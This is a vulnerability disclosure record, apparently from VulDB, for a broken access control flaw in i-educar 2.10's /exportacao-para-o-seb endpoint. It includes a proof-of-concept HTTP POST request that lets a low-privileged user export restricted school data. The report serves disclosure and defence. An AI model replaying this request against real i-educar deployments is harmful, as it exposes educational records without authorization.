| Title | Portabilis i-educar 2.10 Broken Access Control |
|---|
| Description | # Broken Access Control in `/exportacao-para-o-seb` Endpoint
---
## Summary
A **Broken Access Control** vulnerability was identified in the `/exportacao-para-o-seb` endpoint of the _i-educar_ application. This vulnerability allows users without proper permissions to access restricted functionality, bypassing authorization checks.
---
## Details
**Vulnerable Endpoint:** `POST /exportacao-para-o-seb`
**Authentication:** Required
The application fails to properly validate user permissions before granting access to this endpoint. As a result, even low-privileged users can successfully access the functionality intended only for .
---
## PoC
1. Authenticate as a non-privileged user.
![[Pasted image 20250821190942.png]]
![[Pasted image 20250821191019.png]]
2. Send the following request::
```
POST /exportacao-para-o-seb HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/x-www-form-urlencoded
Content-Length: 47
Origin: http://localhost
Connection: keep-alive
Referer: http://localhost/exportacao-para-o-seb
Cookie: i_educar_session=ikrAPvWjSx0V5drm82zlgu1kBByJdsCx1gJkiwsu
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
ano=2025&ref_cod_instituicao=1&ref_cod_escola=4
```
3. We could observe that a file is attached to the response. This user shouldn't do this request.
![[Pasted image 20250821191236.png]]
---
## Impact
Broken Access Control vulnerabilities can have severe consequences, including:
- Unauthorized access to restricted functionality
- Escalation of privileges for low-level users
- Exposure of sensitive data and potential system compromise
- Loss of confidentiality and integrity of educational records
- Reputational damage to the organization |
|---|
| Source | ⚠️ https://github.com/marcelomulder/CVE/blob/main/i-educar/Broken%20Access%20Control%20Vulnerability%20%20in%20%60exportacao-para-o-seb%60%20Endpoint.md |
|---|
| User | marceloQz (UID 87549) |
|---|
| Submission | 08/28/2025 21:15 (10 months ago) |
|---|
| Moderation | 09/05/2025 10:48 (8 days later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 322738 [Portabilis i-Educar up to 2.10 /exportacao-para-o-seb access control] |
|---|
| Points | 20 |
|---|